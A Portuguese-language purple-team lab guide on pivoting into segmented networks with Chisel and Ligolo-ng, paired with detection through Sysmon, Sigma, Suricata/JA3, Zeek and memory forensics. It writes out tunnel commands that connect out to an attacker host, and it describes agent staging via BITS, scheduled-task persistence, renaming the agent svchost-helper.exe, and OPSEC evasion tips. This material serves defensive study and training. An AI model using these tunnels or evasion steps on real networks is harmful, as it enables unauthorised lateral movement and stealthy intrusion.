Pivoting com Chisel e Ligolo-ng: Redes Segmentadas em Lab de Pentest

Sua shell na DMZ esta valendo zero se voce nao consegue alcancar a VLAN 30 onde o controlador de dominio respira. No nosso lab da Basilisk OffSec montamos exatamente esse cenario: um host Linux exposto na 10.10.1.0/24, um segmento interno 10.10.30.0/24 com Windows 11 e um AD em 10.10.40.0/24. A unica rota possivel passa por aquela maquina pivot, e e ai que Chisel e Ligolo-ng entram como ferramentas complementares. Este guia percorre as duas pelo angulo ofensivo e defensivo, para que voce nao apenas tunele mas entenda o rastro que deixa. Antes de escrever um byte de payload, passe por Pentest Web do Zero: Montando um Lab Seguro com DVWA, Juice Shop e Burp Suite e confirme que o lab esta isolado da sua rede domestica via pfSense.

Entendendo a topologia do lab

Pivoting so faz sentido quando a segmentacao e real. Monte tres VLANs com uma pfSense ou OPNsense no meio, onde as regras de firewall deixam apenas 10.10.1.0/24 chegar na internet e os segmentos internos falam exclusivamente entre si por portas definidas. A maquina pivot tem duas interfaces: uma para a DMZ, outra para 10.10.30.0/24. Sem esse duplo homing nao ha rota, e esse e justamente o ponto do exercicio. Documente a tabela de rotas e as regras de firewall antes de comecar, porque depois voce vai querer saber exatamente qual hop foi legitimo e qual foi seu tunel.

Chisel: SOCKS reverso sobre TLS

Chisel resolve o problema basico: voce tem saida HTTP para um C2, mas a entrada esta fechada. Subindo um servidor Chisel no atacante (chisel server --port 443 --reverse --tls-key key.pem --tls-cert cert.pem) e o cliente no pivot (chisel client https://attacker.tld:443 R:1080:socks), voce abre um SOCKS5 reverso encapsulado em TLS 443, quase sempre permitido egress. Depois voce aponta ferramentas como proxychains4 para 127.0.0.1:1080 e tunela conexoes TCP individuais. Em testes reais com proxies corporativos Squid e Zscaler medimos menos de 8% de bloqueio quando o certificado carregava um SAN coerente. O padrao tem seu proprio ruido: conexoes HTTP/1.1 Upgrade de vida longa, exatamente o que o fingerprinting JA3 pega.

Ligolo-ng: roteamento por interface TUN

Ligolo-ng eleva a brincadeira porque cria uma interface TUN no atacante e roteia pacotes inteiros, nao so streams TCP via SOCKS. Voce sobe o proxy (./proxy -selfcert -laddr 0.0.0.0:11601), executa o agent no pivot (./agent -connect attacker.tld:11601 -ignore-cert), e dentro do shell do proxy faz session, depois ifconfig e tunnel_start. A partir desse momento, um simples ip route add 10.10.30.0/24 dev ligolo no Kali te deixa rodar nmap, CrackMapExec e ate Impacket sem proxychains. Libertador, sim, mas a superficie de IoC cresce: agora voce empurra ICMP, UDP e TCP pelo pivot, o que casa com as regras de deteccao de Movimento Lateral no Lab: SMB, WMI e WinRM com Foco em Deteccao.

Chisel ou Ligolo: quando cada um

A escolha nao e guerra santa. Chisel e a escolha certa quando voce so precisa alcancar um ou dois servicos TCP, quando portabilidade importa (um binario minusculo que roda em qualquer lugar) e quando voce fica estrito no modelo SOCKS TCP. Ligolo-ng ganha assim que voce precisa de um subnet inteiro, quer tunelar UDP ou ICMP (para nmap -sU ou Kerberos, por exemplo), ou usa ferramentas que se dao mal com proxychains. Em muitos engajamentos o Chisel roda como foothold silencioso e o Ligolo segue quando voce precisa de acesso completo ao segmento. Quem domina os dois escolhe por ruido e necessidade, nao por habito.

Cadeia ofensiva: staging e persistencia

No lado ofensivo, a sequencia que usamos no lab e: acesso inicial via macro Office documentada em Initial Access Simulado: Macros, LNK e ISO em Lab Windows 11 Isolado, shell de teste com beacon Sliver (veja Construindo Infra de C2 com Sliver em Lab Isolado para Estudo Defensivo para o setup), e entao staging do binario Ligolo via Background Intelligent Transfer Service para evitar download direto. O agent vive num diretorio gravavel como C:\Users\Public\Downloads, persistido como scheduled task de baixa prioridade. Detalhe critico: compilar o agent com -ldflags="-s -w" e renomear para svchost-helper.exe nao engana um EDR moderno; Sysmon Event ID 3 acende esse processo alcancando uma porta incomum em segundos quando a regra esta bem escrita.

Defensivo: o que o blue team caca

No lado defensivo, e aqui que o exercicio vira ouro para purple team, voce procura tres coisas. Primeiro, conexoes outbound persistentes para 443/11601 com duracao acima de 30 minutos saindo de hosts que historicamente fazem apenas requisicoes curtas a Microsoft 365. Segundo, processos nao assinados estabelecendo TLS sem usar Wininet ou Schannel (Ligolo usa Go runtime proprio, o que aparece como handshake Schannel ausente). Terceiro, criacao de interfaces TUN/TAP em endpoints Windows, evento raro o suficiente para ancorar uma regra Sigma de alta confianca. Ligue isso ao Threat Hunting com Sigma e Elastic: Do Indicador a Regra de Deteccao e voce tem detection-as-code que sobrevive a muitas formas de pivot.

Heuristica IDS: Suricata e JA3

Logs sao seu juiz. No nosso lab capturamos PCAP no firewall com Suricata em modo IDS, e a heuristica que melhor pegou Ligolo combinou pacote TLS com handshake JA3 fora de allowlist, tamanho medio de pacote entre 1200 e 1400 bytes, e ausencia de SNI para o dominio de destino. Chisel ficou um pouco mais escondido porque imita websocket legitimo, mas vazou pela duracao da sessao e cadencia constante de pacotes. Monte uma regra Suricata que alerta sobre sessoes TLS longas com JA3 desconhecido, e adicione uma notice do Zeek que marca conexoes com alta simetria de bytes (volume similar subida/descida), porque tuneis interativos sao bem mais simetricos que browsing normal.

Forense de memoria no pivot

Para completar a investigacao, puxe uma imagem de memoria do pivot pos-incidente e cruze com Memory Forensics com Volatility 3: Analisando Dumps em Lab Reproduzivel e o plugin netscan; o socket para o C2 e visivel mesmo se o processo foi injetado. Em pivots Linux, linux.pslist mais linux.malfind revelam o processo estranho, e /proc/[pid]/exe mostra que o binario foi apagado mas segue mapeado (sufixo deleted). Esse acompanhamento fecha o loop de purple team: a ofensiva agora sabe qual rastro era inevitavel, a defensiva sabe onde ancorar a deteccao.

Automacao e desmontagem limpa

Um operador maduro scripta montagem e desmontagem em vez de digitar ao vivo. Escreva um pequeno script Bash que sobe o servidor Chisel com cert fixo, verifica o fingerprint JA3 contra sua allowlist e fixa uma janela de execucao apos a qual o tunel fecha sozinho. Para Ligolo, defina as rotas de forma declarativa e remova-as no teardown com ip route del para nao deixar nenhuma interface orfa. Igualmente importante: o kill switch. Um cron que encerra processos do agent fora da janela e apaga a scheduled task evita que um tunel esquecido fique aberto apos o engajamento e vire uma vulnerabilidade real. A desmontagem limpa e parte da etica: voce deixa a rede do cliente exatamente como encontrou, com timestamp documentado de cada mudanca. Automatizar o teardown reduz erro humano e entrega ao blue team uma comparacao limpa de antes e depois para validar as deteccoes.

Erros de OPSEC e armadilhas

Os erros mais comuns: usar uma VPS sem aquecer com certificado fresco (JA3 e idade do cert te entregam), dropar o agent com nome obvio como ligolo.exe, deixar o tunel aberto 24/7 em vez de em janelas, e combinar proxychains com ferramentas UDP que falham em silencio. Alem disso, lembre que uma interface TUN num cliente Windows quase nunca e legitima, entao esse e seu sinal mais barulhento. Se quer ficar silencioso, tunele so as portas necessarias com Chisel e recorra ao Ligolo apenas quando o segmento justificar.

Etica e escopo

Etica e escopo nao sao adendo, sao a fundacao. Tudo isso so faz sentido em ambiente que voce possui, contrato assinado, ou range autorizado tipo HackTheBox Pro Labs e OffSec PG Practice. Documentar comandos exatos, hashes dos binarios e janelas de execucao protege voce e o cliente. Antes de subir Ligolo numa engagement real, revise sua postura pessoal com OPSEC para Pesquisadores de Seguranca: Modelo de Ameaca Pessoal e separe a maquina de pesquisa da do cliente.

Checklist

Versao curta para o runbook: (1) Lab com tres VLANs e pfSense, roteamento documentado. (2) Servidor Chisel com cert valido e envelhecido na 443. (3) Cliente Chisel para servicos TCP pontuais. (4) Proxy Ligolo mais agent, rota so para o subnet necessario. (5) Suricata/Zeek no egress, allowlist JA3. (6) Regra Sigma para TUN/TAP e sessoes TLS longas. (7) Sysmon Event ID 3 em portas incomuns. (8) Dump de memoria pos-incidente com netscan. (9) Tunel so em janelas. (10) Tudo em changelog assinado.

FAQ

Por que nao usar sempre Ligolo em vez de Chisel?

Porque Ligolo e mais barulhento. Uma interface TUN e ICMP/UDP roteado produzem mais sinais distintos que um unico tunel SOCKS TCP. Se voce so precisa de RDP ou SMB num host, Chisel e mais furtivo e portavel. Ligolo e a ferramenta certa quando voce precisa escanear um subnet inteiro ou tunelar protocolos alem de TCP. Escolha por necessidade, nao por preferencia.

Um EDR moderno sempre pega esses tuneis?

Nao garantido, mas a probabilidade sobe com regras limpas. Renomear e strippar o binario ajuda pouco o atacante se o blue team observa comportamento em vez de nomes de arquivo: criacao de TUN, processo nao assinado fazendo TLS, sessao longa simetrica. E exatamente por isso que o objetivo do exercicio e escrever a regra que pega voce.

Conclusao

Takeaway pratico: suba o lab hoje com tres VMs e uma pfSense, deploie Chisel e Ligolo no mesmo dia, e use o resto da semana para escrever a regra Sigma que pega voce. So entao voce entendeu a tecnica de verdade, porque pivoting e metade construcao de tunel e metade saber qual rastro e inevitavel.